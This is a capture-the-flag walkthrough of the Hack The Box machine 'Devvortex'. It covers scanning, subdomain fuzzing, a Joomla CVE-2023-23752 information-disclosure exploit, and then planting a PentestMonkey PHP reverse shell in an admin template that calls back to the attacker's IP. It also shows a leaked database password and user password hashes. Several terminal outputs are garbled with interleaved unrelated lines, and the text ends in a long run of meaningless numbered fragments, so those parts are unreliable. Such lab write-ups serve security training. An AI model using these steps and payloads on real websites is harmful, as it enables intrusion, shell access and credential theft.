

# Devvortex

## Devvortex

<https://app.hackthebox.com/machines/Devvortex>

joomla

apport-cli PE

```
rustscan -a 10.10.11.242 -- -sC -sV -A | tee scan.txt
```

```
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack  OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|_ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC82vTuN1hMqiuFfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MncBfibD/7Zz
khYCGkJQm90YdcSEeg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZor0/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI9
BzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBLF0KXEST3ZJVWSAsU3oguNCxtY7krjqPe6BZRy+lrbeska1bIGPZrqlEgptpKhZ14UaOcH9
|_   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ _ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEHt
80/tcp    open  http      syn-ack  nginx 1.18.0 (Ubuntu)
|_ http-methods:
|_   Supported Methods: GET POST OPTIONS
|_ http-title: Did not follow redirect to http://devvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Add domain to /etc/hosts devvortex.htb

```
dirsearch -u http://devvortex.htb
```

```
(kali㉿kali)-[~/HTB/devvortex]
$ dirsearch -u http://devvortex.htb
[12:28:50] (v0.4.2) -ack nginx 1.18.0 (Ubuntu)
|_ http-methods:
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
|_ http-title: Did not follow redirect to http://devvortex.htb/
Output File: /home/kali/.dirsearch/reports/devvortex.htb/_23-12-07_12-28-49.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-12-07_12-28-49.log
NSE: Starting runlevel 1 (of 3) scan.
Target: http://devvortex.htb/
Completed NSE at 12:28, 0.00s elapsed
[12:28:50] Starting:
[12:28:53] 301 -> 178B - /js -> http://devvortex.htb/js/
[12:29:18] 200 -> 12.7KB - /about.html
[12:29:49] 200 -> 9KB - /contact.html
[12:29:50] 301 -> 178B - /css -> http://devvortex.htb/css/
[12:30:02] 301 -> 178B - /images -> http://devvortex.htb/images/
[12:30:02] 403 -> 564B - /images/share/nmap
[12:30:04] 200 -> 18KB - /index.html
[12:30:06] 403 -> 564B - /js/ (up) scanned in 71.46 seconds
report any incorrect results at https://nmap.org/submit/
```

After subsription with email I see a lot of information  
in burp

**Request**

```

1 GET /tracking/tracking.js?_=1701970840215 HTTP/1.1
2 Host: leostop.com
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: close
8 Referer: http://devvortex.htb/
9
10

```

**Response**

```

1 HTTP/1.1 301 Moved Permanently
2 Date: Thu, 07 Dec 2023 17:42:09 GMT
3 Connection: close
4 Cache-Control: max-age=3600
5 Expires: Thu, 07 Dec 2023 18:42:09 GMT
6 Location: https://leostop.com/tracking/tracking.js?_=1701970840215
7 Report-To:
  {"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v3?s=JMspNkddjWbBs0sYlRnDnTcczSuuQ%2Fs59uv1HiJytCN5aEmLUEZTkmQ3yFvcTa6iUm4HLurMiBLsZH67nL0NPXri3Dtypq4Epy4DTacKnRj1UK1EG1WlFNA22%2BfsdA%3D%3D"}],"group":"cf-nel","max_age":604800}
8 NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
9 Vary: Accept-Encoding
10 Server: cloudflare
11 CF-RAY: 831e9043bb54c2fc-VIE
12 alt-svc: h2=":443"; ma=60
13 Content-Length: 0
14
15

```

But after I follow redirection I have an error , it was generated by Mod\_Security.

But seems nothing interesting

Search subdomains

```
ffuf -w /usr/share/wordlists/dirbuster/subdomains-top1million-5000.txt:FUZZ -u http://devvortex.htb -H "Host: FUZZ.devvortex.htb" -fs 154
```

```

kali@kali:~/.HTB/devvortex
$ ffuf -w /usr/share/wordlists/dirbuster/subdomains-top1million-5000.txt:FUZZ -u http://devvortex.htb -H "Host: FUZZ.devvortex.htb" -fs 154

v2.0.0-dev

:: Method      : GET
:: URL         : http://devvortex.htb
:: Wordlist    : FUZZ: /usr/share/wordlists/dirbuster/subdomains-top1million-5000.txt
:: Header     : Host: FUZZ.devvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout     : 10
:: Threads    : 40
:: Matcher     : Response status: 200,204,301,302,307,401,403,405,500
:: Filter      : Response size: 154

[Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 801ms]
* FUZZ: dev

:: Progress: [4989/4989] :: Job [1/1] :: 29 req/sec :: Duration: [0:00:55] :: Errors: 0 ::

```

Add **dev.devvortex.htb** to /etc/hosts

Fuzzing new domain, and I have a lot of directories and files

```
dirsearch -u http://dev.devvortex.htb
```

```
[13:26:54] Starting:
[13:26:57] 403 - 564B - /%2e%2e;/test
[13:27:32] 200 - 18KB - /LICENSE.txt
[13:27:35] 200 - 5KB - /README.txt
[13:28:14] 403 - 564B - /admin/.config
[13:28:14] 403 - 564B - /admin/.htaccess
[13:28:52] 301 - 178B - /administrator → http://dev.devvortex.htb/administrator/
[13:28:52] 403 - 564B - /administrator/.htaccess
[13:28:53] 200 - 31B - /administrator/cache/
[13:28:53] 403 - 564B - /administrator/includes/
[13:28:54] 200 - 31B - /administrator/logs/
[13:28:54] 301 - 178B - /administrator/logs → http://dev.devvortex.htb/administrator/logs/
[13:28:54] 200 - 12KB - /administrator/
[13:28:55] 200 - 12KB - /administrator/index.php
[13:29:02] 403 - 564B - /admpar/.ftppass
[13:29:02] 403 - 564B - /admrev/.ftppass
[13:29:05] 301 - 178B - /api → http://dev.devvortex.htb/api/
[13:29:05] 406 - 29B - /api/
[13:29:05] 406 - 29B - /api/jsonws/invoke
[13:29:05] 406 - 29B - /api/2/issue/createmeta
[13:29:05] 406 - 29B - /api/error_log
[13:29:05] 406 - 29B - /api/jsonws
[13:29:05] 406 - 29B - /api/swagger
[13:29:05] 406 - 29B - /api/login.json
[13:29:05] 406 - 29B - /api/package_search/v4/documentation
[13:29:06] 406 - 29B - /api/swagger-ui.html
[13:29:06] 406 - 29B - /api/v1
[13:29:06] 406 - 29B - /api/v3
[13:29:06] 406 - 29B - /api/swagger.yml
[13:29:06] 406 - 29B - /api/v2/helpdesk/discover
[13:29:06] 403 - 564B - /app/.htaccess
[13:29:06] 406 - 29B - /api/v2
[13:29:08] 406 - 29B - /api/2/explore/
[13:29:23] 403 - 564B - /bitrix/settings.php.bak
[13:29:28] 301 - 178B - /cache → http://dev.devvortex.htb/cache/
[13:29:28] 200 - 31B - /cache/
[13:29:28] 403 - 4KB - /cache/sql_error_latest.cgi
[13:29:36] 200 - 31B - /cli/
[13:29:39] 301 - 178B - /components → http://dev.devvortex.htb/components/
[13:29:39] 200 - 31B - /components/
[13:29:44] 200 - 0B - /configuration.php
[13:30:17] 403 - 564B - /ext/.deps
[13:30:35] 200 - 23KB - /home
[13:30:38] 200 - 7KB - /htaccess.txt
[13:30:39] 301 - 178B - /images → http://dev.devvortex.htb/images/
[13:30:39] 200 - 31B - /images/
[13:30:40] 403 - 4KB - /images/Sym.php
[13:30:41] 403 - 4KB - /images/c99.php
[13:30:41] 200 - 31B - /includes/
[13:30:41] 301 - 178B - /includes → http://dev.devvortex.htb/includes/
[13:30:43] 200 - 23KB - /index.php
[13:30:44] 200 - 23KB - /index.php.
[13:30:55] 200 - 31B - /layouts/
[13:30:55] 301 - 178B - /language → http://dev.devvortex.htb/language/
[13:30:55] 403 - 564B - /lib/flex/uploader/.actionScriptProperties
[13:30:55] 403 - 564B - /lib/flex/uploader/.settings
[13:30:55] 403 - 564B - /lib/flex/uploader/.project
[13:30:55] 403 - 564B - /lib/flex/varien/.actionScriptProperties
[13:30:55] 403 - 564B - /lib/flex/varien/.flexLibProperties
[13:30:55] 403 - 564B - /lib/flex/varien/.settings
[13:30:55] 301 - 178B - /libraries → http://dev.devvortex.htb/libraries/
[13:30:55] 200 - 31B - /libraries/
[13:30:56] 403 - 564B - /lib/flex/varien/.project
[13:30:56] 403 - 564B - /lib/flex/uploader/.flexProperties
[13:31:06] 403 - 564B - /mailer/.env
[13:31:11] 301 - 178B - /media → http://dev.devvortex.htb/media/
[13:31:11] 200 - 31B - /media/
[13:31:18] 200 - 31B - /modules/
[13:31:18] 301 - 178B - /modules → http://dev.devvortex.htb/modules/
[13:31:52] 200 - 31B - /dev/plugins/
[13:31:52] 301 - 178B - /plugins → http://dev.devvortex.htb/plugins/
[13:32:06] 403 - 564B - /resources/.arch-internal-preview.css
[13:32:07] 403 - 564B - /resources/sass/.sass-cache/
[13:32:07] 200 - 764B - /robots.txt
[13:32:40] 200 - 31B - /templates/
```

```

[13:32:07] 200 - 764B - /robots.txt
[13:32:40] 200 - 31B - /templates/
[13:32:40] 301 - 178B - /templates → http://dev.devvortex.htb/templates/
[13:32:40] 200 - 31B - /templates/index.html
[13:32:41] 200 - 0B - /templates/system/
[13:32:45] 200 - 31B - /tmp/
[13:32:45] 301 - 178B - /tmp → http://dev.devvortex.htb/tmp/
[13:32:45] 403 - 4KB - /tmp/2.php
[13:32:45] 403 - 4KB - /tmp/admin.php
[13:32:46] 403 - 4KB - /tmp/d.php
[13:32:46] 403 - 4KB - /tmp/cpn.php
[13:32:46] 403 - 4KB - /tmp/domaine.php
[13:32:46] 403 - 4KB - /tmp/dz1.php
[13:32:46] 403 - 4KB - /tmp/dz.php
[13:32:46] 403 - 4KB - /tmp/killer.php
[13:32:46] 403 - 4KB - /tmp/root.php
[13:32:46] 403 - 4KB - /tmp/madspotshell.php
[13:32:46] 403 - 4KB - /tmp/changeall.php
[13:32:46] 403 - 4KB - /tmp/domaine.pl
[13:32:46] 403 - 4KB - /tmp/cgi.pl
[13:32:47] 403 - 4KB - /tmp/uploads.php
[13:32:47] 403 - 4KB - /tmp/upload.php
[13:32:47] 403 - 4KB - /tmp/Sym.php
[13:32:47] 403 - 4KB - /tmp/vaga.php
[13:32:47] 403 - 4KB - /tmp/priv8.php
[13:32:47] 403 - 4KB - /tmp/whmcs.php
[13:32:47] 403 - 4KB - /tmp/user.php
[13:32:47] 403 - 4KB - /tmp/L3b.php
[13:32:47] 403 - 4KB - /tmp/Cgishell.pl
[13:32:47] 403 - 4KB - /tmp/domaine.php
[13:32:47] 403 - 4KB - /tmp/index.php
[13:32:47] 403 - 4KB - /tmp/xd.php
[13:32:47] 403 - 4KB - /tmp/up.php
[13:32:48] 403 - 4KB - /tmp/sql.php
[13:32:48] 403 - 564B - /twitter/.env
[13:33:02] 200 - 3KB - /web.config.txt
301 - /etc/hosts
Task Completed

```

First I check interesting files and found information about joomla

← → ↻ 🏠

dev.devvortex.htb/README.txt

Kali Linux

Kali Tools

Kali Docs

Kali Forums

Kali NetHunter

Exploit-DB

Google Hacking DB

OffSec

Shift Cipher - Online D...

Joomla! CMS™

1- Overview

- \* This is a Joomla! 4.x installation/upgrade package.
- \* Joomla! Official site: <https://www.joomla.org>
- \* Joomla! 4.2 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla\\_4.2\\_version\\_history](https://docs.joomla.org/Special:MyLanguage/Joomla_4.2_version_history)
- \* Detailed changes in the Changelog: <https://github.com/joomla/joomla-cms/commits/4.2-dev>

2- What is Joomla?

- \* Joomla! is a Content Management System (CMS) which enables you to build websites and powerful online applications.
- \* It's a free and Open Source software, distributed under the GNU General Public License version 2 or later.
- \* This is a simple and powerful web server application and it requires a server with PHP and either MySQL, PostgreSQL or SQL Server to run.

You can find full technical requirements here: <https://downloads.joomla.org/technical-requirements>.

3- Is Joomla! for you?

- \* Joomla! is the right solution for most content web projects: [https://docs.joomla.org/Special:MyLanguage/Portal:Learn\\_More](https://docs.joomla.org/Special:MyLanguage/Portal:Learn_More)
- \* See Joomla's core features - <https://www.joomla.org/core-features.html>
- \* Try out our free hosting service: <https://launch.joomla.org>

4- How to find a Joomla! translation?

- \* Repository of accredited language packs: <https://downloads.joomla.org/language-packs>
- \* You can also add languages directly to your website via your Joomla! administration panel: [https://docs.joomla.org/Special:MyLanguage/J4.x:Setup\\_a\\_Multilingual\\_Site](https://docs.joomla.org/Special:MyLanguage/J4.x:Setup_a_Multilingual_Site)
- \* Learn how to setup a Multilingual Joomla! Site: [https://docs.joomla.org/Special:MyLanguage/J4.x:Setup\\_a\\_Multilingual\\_Site](https://docs.joomla.org/Special:MyLanguage/J4.x:Setup_a_Multilingual_Site)

5- Learn Joomla!

- \* Read Getting Started with Joomla to find out the basics: [https://docs.joomla.org/Special:MyLanguage/J4.x:Getting\\_Started\\_with\\_Joomla!](https://docs.joomla.org/Special:MyLanguage/J4.x:Getting_Started_with_Joomla!)
- \* Before installing, read the beginners guide: <https://docs.joomla.org/Special:MyLanguage/Portal:Beginners>

6- What are the benefits of Joomla?

- \* The functionality of a Joomla! website can be extended by installing extensions that you can create (or download) to suit your needs.
- \* There are many ready-made extensions that you can download and install.
- \* Check out the Joomla! Extensions Directory (JED): <https://extensions.joomla.org>

7- Is it easy to change the layout display?

- \* The layout is controlled by templates that you can edit.
- \* There are a lot of ready-made professional templates that you can download.
- \* Check out the template management information: [https://docs.joomla.org/Special:MyLanguage/Portal:Template\\_Management](https://docs.joomla.org/Special:MyLanguage/Portal:Template_Management)

8- Ready to install Joomla?

- \* Check the minimum requirements here: <https://downloads.joomla.org/technical-requirements>
- \* How do you install Joomla - [https://docs.joomla.org/Special:MyLanguage/J4.x:Installing\\_Joomla](https://docs.joomla.org/Special:MyLanguage/J4.x:Installing_Joomla)
- \* You could start your Joomla! experience building your site on a local test server.

When ready it can be moved to an online hosting account of your choice.

See the tutorial: [https://docs.joomla.org/Special:MyLanguage/Installing\\_Joomla\\_locally](https://docs.joomla.org/Special:MyLanguage/Installing_Joomla_locally)

```
← → ↻ 🏠 dev.devvortex.htb/robots.txt
🐧 Kali Linux 🛠️ Kali Tools 📄 Kali Docs 🗣️ Kali Forums 🏹 Kali NetHunter 🔥 Exploit-DB 🏠 Google Hacking DB

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

← → ↻ 🏠 dev.devvortex.htb/web.config.txt
🐧 Kali Linux 🛠️ Kali Tools 📄 Kali Docs 🗣️ Kali Forums 🏹 Kali NetHunter 🔥 Exploit-DB 🏠 Google Hacking DB 🛡️ OffSec 📁 Shift Cipher - Online D...

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <location path=".">
    <system.webServer>
      <directoryBrowse enabled="false" />
      <rewrite>
        <rules>
          <rule name="Joomla! Common Exploits Prevention" stopProcessing="true">
            <match url="^(.*)$" ignoreCase="false" />
            <conditions logicalGrouping="MatchAny">
              <add input="{QUERY_STRING}" pattern="base64_encode\[^\[\(\[\^\]\)*\]" ignoreCase="false" />
              <add input="{QUERY_STRING}" pattern="(&gt;|%3C)([^\s]*s)+cript.*(&lt;|%3E)" />
              <add input="{QUERY_STRING}" pattern="GLOBALS(=|\\[\\%[0-9A-Z]{0,2})" ignoreCase="false" />
              <add input="{QUERY_STRING}" pattern="_REQUEST(=|\\[\\%[0-9A-Z]{0,2})" ignoreCase="false" />
            </conditions>
            <action type="CustomResponse" url="index.php" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
          </rule>
          <rule name="Joomla! API Application SEF URLs">
            <match url="^api/(.*)" ignoreCase="false" />
            <conditions logicalGrouping="MatchAll">
              <add input="{URL}" pattern="^/api/index.php" ignoreCase="true" negate="true" />
              <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
              <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
            </conditions>
            <action type="Rewrite" url="api/index.php" />
          </rule>
          <rule name="Joomla! Public Frontend SEF URLs">
            <match url="^(.*)" ignoreCase="false" />
            <conditions logicalGrouping="MatchAll">
              <add input="{URL}" pattern="^/index.php" ignoreCase="true" negate="true" />
              <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />
              <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />
            </conditions>
            <action type="Rewrite" url="index.php" />
          </rule>
        </rules>
      </rewrite>
    </system.webServer>
  </location>
  <httpProtocol>
    <customHeaders>
      <add name="X-Content-Type-Options" value="nosniff" />
      <!-- Protect against certain cross-origin requests. More information can be found here: -->
      <!-- https://developer.mozilla.org/en-US/docs/Web/HTTP/Cross-Origin_Resource_Policy_(CORP) -->
      <!-- https://web.dev/why-coop-coep/ -->
      <!-- <add name="Cross-Origin-Resource-Policy" value="same-origin" /> -->
      <!-- <add name="Cross-Origin-Embedder-Policy" value="require-corp" /> -->
    </customHeaders>
  </httpProtocol>
</configuration>
```


I found Login page!!!

dev.dewortex.htb/administrator/

Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Shift Cipher - Online D...

Development  
Administrator Login

Support?



Username

Password Please fill in this field

[Forgot your login details?](#)

From file LICENSE.txt I have an information about joomla's version: 4.2

I check the newest exploit

<b>EDB-ID:</b> 51334	<b>CVE:</b> 2023-23752	<b>Author:</b> ALEXANDRE ZANNI	<b>Type:</b> WEBAPPS	<b>Platform:</b> PHP	<b>Date:</b> 2023-04-08
<b>EDB Verified:</b> ✓		<b>Exploit:</b> 📄 / {}		<b>Vulnerable App:</b>	



```
#!/usr/bin/env ruby

# Exploit
## Title: Joomla! v4.2.8 - Unauthenticated information disclosure
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
## Author website: https://pwn.by/noraj/
## Exploit source: https://github.com/Acceis/exploit-CVE-2023-23752
## Date: 2023-03-24
## Vendor Homepage: https://www.joomla.org/
## Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz
```



# Joomla! information disclosure - CVE-2023-23752 exploit

Joomla! < 4.2.8 - Unauthenticated information disclosure

Exploit for [CVE-2023-23752](#) (4.0.0 <= Joomla! <= 4.2.7).

[\[EDB-TODO\]](#) [\[PacketStorm\]](#) [\[WLB-TODO\]](#)

## Usage

```
+ ruby exploit.rb -h
Joomla! < 4.2.8 - Unauthenticated information disclosure

Usage:
  exploit.rb <url> [options]
  exploit.rb -h | --help

Parameters:
  <url>          Root URL (base path) including HTTP scheme, port and root folder

Options:
  --debug        Display arguments
  --no-color     Disable colored output (NO_COLOR environment variable is respected too)
  -h, --help     Show this screen

Examples:
  exploit.rb http://127.0.0.1:4242
  exploit.rb https://example.org/subdir
```

But I had some problems with ruby)

```
(kali@kali) - [~/HTB/devvortex/exploit-CVE-2023-23752]
$ ruby exploit.rb http://dev.devvortex.htb
<internal:/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb>:85:in `require': cannot load such file -- httpx (LoadError)
    from <internal:/usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb>:85:in `require'
    from exploit.rb:33:in `<main>'
```

So I download another exploit

```
git clone https://github.com/AlissoftCodes/CVE-2023-23752.git
```

```
python3 juid.py -a http://dev.devvortex.htb
```

I have creds and can log in!!!!

In settings -> administrator templates I found error.php file, and change code to revshell to my kali (PHP Pentest-Monkey)

dev.devvortex.htb/administrator/index.php?option=com\_templates&view=template&id=222&file=L2Vycm9yLnBocA&isMedia=0

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Shift Cipher - Online D...

Joomla! Templates: Customise (Atum)

Save Save & Close Rename File Delete File Close File

File saved.

Editor Create Overrides Updated Files Template Description

Editing file "/administrator/templates/atum/error.php" in template "atum".

/administrator/templates/atum

- html
- component.php
- cpanel.php
- error.php
- error\_full.php
- error\_login.php
- index.php
- joomla.asset.json
- login.php
- templateDetails.xml

/media/templates/administrator/atum

- css
- images

```
1 <?php
2 // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim
3 /php-reverse-shell/master/php-reverse-shell.php
4 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
5
6 set_time_limit (0);
7 $VERSION = "1.0";
8 $ip = '10.10.14.197';
9 $port = 4444;
10 $chunk_size = 1400;
11 $write_a = null;
12 $error_a = null;
13 $shell = 'uname -a; w; id; bash -i';
14 $daemon = 0;
15 $debug = 0;
16
17 if (function_exists('pcntl_fork')) {
18     $pid = pcntl_fork();
19
20     if ($pid == -1) {
21         printit("ERROR: Can't fork");
22         exit(1);
23     }
24
25     if ($pid) {
```

```
kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.197] from (UNKNOWN) [10.10.11.242] 4444
Linux devvortex 5.4.0-167-generic #184-Ubuntu SMP Tue
20:01:20 up 12 min, 0 users, load average: 0.00, 0.
USER      TTY      FROM            LOGIN@   IDLE   JCU   PR
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (877): Inappro
bash: no job control in this shell
www-data@devvortex:/$
```

dev.devvortex.htb/administrator/templates/atum/error.php

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Shift Cipher - Online D...

Joomla! Templates: Customise (Atum)

Save Save & Close Rename File Delete File Close File

File saved.

Editor Create Overrides Updated Files Template Description

Editing file "/administrator/templates/atum/error.php" in template "atum".

/administrator/templates/atum

- html
- component.php
- cpanel.php
- error.php
- error\_full.php
- error\_login.php
- index.php
- joomla.asset.json
- login.php

```
1 <?php
2 // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to sli
3 down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php
4 shell.php
5 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
6
7 set_time_limit (0);
8 $VERSION = "1.0";
9 $ip = '10.10.14.197';
10 $port = 4444;
11 $chunk_size = 1400;
12 $write_a = null;
13 $error_a = null;
14 $shell = 'uname -a; w; id; bash -i';
15 $daemon = 0;
16 $debug = 0;
17
18 if (function_exists('pcntl_fork')) {
```

```
python3 -c "import pty;pty.spawn('/bin/bash')"
```

Login to mysql database

```
mysql -u lewis -p
```



```

www-data@devvortex:/home/logan$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@devvortex:/home/logan$ mysql -u lewis -p
mysql -u lewis -p /HTB/devvortex:
Enter password: P4ntherg0t1n5r3c0n##
The authenticity of host '10.10.11.242 (10.10.11.242)' can't be established.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 60
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Warning: Permanently added '10.10.11.242' (ED25519) to the list of known hosts.
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Permission denied, please try again.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

kali@kali: ~/HTB/devvortex
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
PING 10.10.11.242 (10.10.11.242) 56(84) bytes of data.
mysql> show databases;
show databases;
+-----+
| Database |
+-----+
| information_schema |
| joomla |
| performance_schema |
+-----+
3 rows in set (0.00 sec)

kali@kali: ~/HTB/devvortex
mysql>

```

In joomla database a lot of tables) I found password hashes in **sd4fg\_users**

```

71 rows in set (0.00 sec)
mysql> select * from sd4fg_users;
select * from sd4fg_users;
+-----+
| id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | lastResetTime | resetCount | activate |
+-----+
| 649 | lewis | lewis | lewis@devvortex.htb | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAyuhVBMVvnYWRceBmy8XdEzm1u | 0 | 1 | 2023-09-25 16:44:24 | 2023-12-07 19:50:46 | NULL | 0 | 0 |
| 650 | logan paul | logan | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzAr0RFJTGThNiv/vBtkIi12 | 0 | 0 | 2023-09-26 19:15:42 | NULL | NULL | 0 | 0 |
+-----+
(1) (2) (3) (4) (5) (6) (7) (8) (9) (10) (11) (12) (13) (14) (15) (16) (17) (18) (19) (20) (21) (22) (23) (24) (25) (26) (27) (28) (29) (30) (31) (32) (33) (34) (35) (36) (37) (38) (39) (40) (41) (42) (43) (44) (45) (46) (47) (48) (49) (50) (51) (52) (53) (54) (55) (56) (57) (58) (59) (60) (61) (62) (63) (64) (65) (66) (67) (68) (69) (70) (71) (72) (73) (74) (75) (76) (77) (78) (79) (80) (81) (82) (83) (84) (85) (86) (87) (88) (89) (90) (91) (92) (93) (94) (95) (96) (97) (98) (99) (100) (101) (102) (103) (104) (105) (106) (107) (108) (109) (110) (111) (112) (113) (114) (115) (116) (117) (118) (119) (120) (121) (122) (123) (124) (125) (126) (127) (128) (129) (130) (131) (132) (133) (134) (135) (136) (137) (138) (139) (140) (141) (142) (143) (144) (145) (146) (147) (148) (149) (150) (151) (152) (153) (154) (155) (156) (157) (158) (159) (160) (161) (162) (163) (164) (165) (166) (167) (168) (169) (170) (171) (172) (173) (174) (175) (176) (177) (178) (179) (180) (181) (182) (183) (184) (185) (186) (187) (188) (189) (190) (191) (192) (193) (194) (195) (196) (197) (198) (199) (200) (201) (202) (203) (204) (205) (206) (207) (208) (209) (210) (211) (212) (213) (214) (215) (216) (217) (218) (219) (220) (221) (222) (223) (224) (225) (226) (227) (228) (229) (230) (231) (232) (233) (234) (235) (236) (237) (238) (239) (240) (241) (242) (243) (244) (245) (246) (247) (248) (249) (250) (251) (252) (253) (254) (255) (256) (257) (258) (259) (260) (261) (262) (263) (264) (265) (266) (267) (268) (269) (270) (271) (272) (273) (274) (275) (276) (277) (278) (279) (280) (281) (282) (283) (284) (285) (286) (287) (288) (289) (290) (291) (292) (293) (294) (295) (296) (297) (298) (299) (300) (301) (302) (303) (304) (305) (306) (307) (308) (309) (310) (311) (312) (313) (314) (315) (316) (317) (318) (319) (320) (321) (322) (323) (324) (325) (326) (327) (328) (329) (330) (331) (332) (333) (334) (335) (336) (337) (338) (339) (340) (341) (342) (343) (344) (345) (346) (347) (348) (349) (350) (351) (352) (353) (354) (355) (356) (357) (358) (359) (360) (361) (362) (363) (364) (365) (366) (367) (368) (369) (370) (371) (372) (373) (374) (375) (376) (377) (378) (379) (380) (381) (382) (383) (384) (385) (386) (387) (388) (389) (390) (391) (392) (393) (394) (395) (396) (397) (398) (399) (400) (401) (402) (403) (404) (405) (406) (407) (408) (409) (410) (411) (412) (413) (414) (415) (416) (417) (418) (419) (420) (421) (422) (423) (424) (425) (426) (427) (428) (429) (430) (431) (432) (433) (434) (435) (436) (437) (438) (439) (440) (441) (442) (443) (444) (445) (446) (447) (448) (449) (450) (451) (452) (453) (454) (455) (456) (457) (458) (459) (460) (461) (462) (463) (464) (465) (466) (467) (468) (469) (470) (471) (472) (473) (474) (475) (476) (477) (478) (479) (480) (481) (482) (483) (484) (485) (486) (487) (488) (489) (490) (491) (492) (493) (494) (495) (496) (497) (498) (499) (500) (501) (502) (503) (504) (505) (506) (507) (508) (509) (510) (511) (512) (513) (514) (515) (516) (517) (518) (519) (520) (521) (522) (523) (524) (525) (526) (527) (528) (529) (530) (531) (532) (533) (534) (535) (536) (537) (538) (539) (540) (541) (542) (543) (544) (545) (546) (547) (548) (549) (550) (551) (552) (553) (554) (555) (556) (557) (558) (559) (560) (561) (562) (563) (564) (565) (566) (567) (568) (569) (570) (571) (572) (573) (574) (575) (576) (577) (578) (579) (580) (581) (582) (583) (584) (585) (586) (587) (588) (589) (590) (591) (592) (593) (594) (595) (596) (597) (598) (599) (600) (601) (602) (603) (604) (605) (606) (607) (608) (609) (610) (611) (612) (613) (614) (615) (616) (617) (618) (619) (620) (621) (622) (623) (624) (625) (626) (627) (628) (629) (630) (631) (632) (633) (634) (635) (636) (637) (638) (639) (640) (641) (642) (643) (644) (645) (646) (647) (648) (649) (650) (651) (652) (653) (654) (655) (656) (657) (658) (659) (660) (661) (662) (663) (664) (665) (666) (667) (668) (669) (670) (671) (672) (673) (674) (675) (676) (677) (678) (679) (680) (681) (682) (683) (684) (685) (686) (687) (688) (689) (690) (691) (692) (693) (694) (695) (696) (697) (698) (699) (700) (701) (702) (703) (704) (705) (706) (707) (708) (709) (710) (711) (712) (713) (714) (715) (716) (717) (718) (719) (720) (721) (722) (723) (724) (725) (726) (727) (728) (729) (730) (731) (732) (733) (734) (735) (736) (737) (738) (739) (740) (741) (742) (743) (744) (745) (746) (747) (748) (749) (750) (751) (752) (753) (754) (755) (756) (757) (758) (759) (760) (761) (762) (763) (764) (765) (766) (767) (768) (769) (770) (771) (772) (773) (774) (775) (776) (777) (778) (779) (780) (781) (782) (783) (784) (785) (786) (787) (788) (789) (790) (791) (792) (793) 